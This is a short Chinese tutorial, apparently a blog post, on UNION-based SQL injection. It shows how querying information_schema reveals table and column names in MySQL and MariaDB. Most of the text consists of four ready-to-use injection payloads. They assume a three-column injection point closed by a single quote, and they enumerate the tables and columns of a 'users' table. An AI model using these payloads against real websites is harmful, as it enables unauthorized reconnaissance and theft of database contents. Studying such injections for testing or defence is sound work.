在联合注入过程中,通过构造查询语句对information_schema表的查询,可以获得数据库的表名,列名等信息,但是在不同的数据库中,information_schema中列的名称有区别。假设注入点的列数为3,注入信息可为‘1’, 闭合方式是单引号,下面给出联合注入语句示例:
MySQL
1' union select 1,2,table_name from information_schema.tables where table_schema=database() #
1' union select 1,2,column_name from information_schema.columns where table_name='users' #
MariaDB
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' #
本文介绍了如何在联合注入攻击中,通过构造SQL语句利用information_schema表获取不同数据库(MySQL和MariaDB)中的表名、列名。给出了针对特定数据库的示例,展示了攻击者如何利用这种差异获取敏感信息。
123

被折叠的 条评论
为什么被折叠?



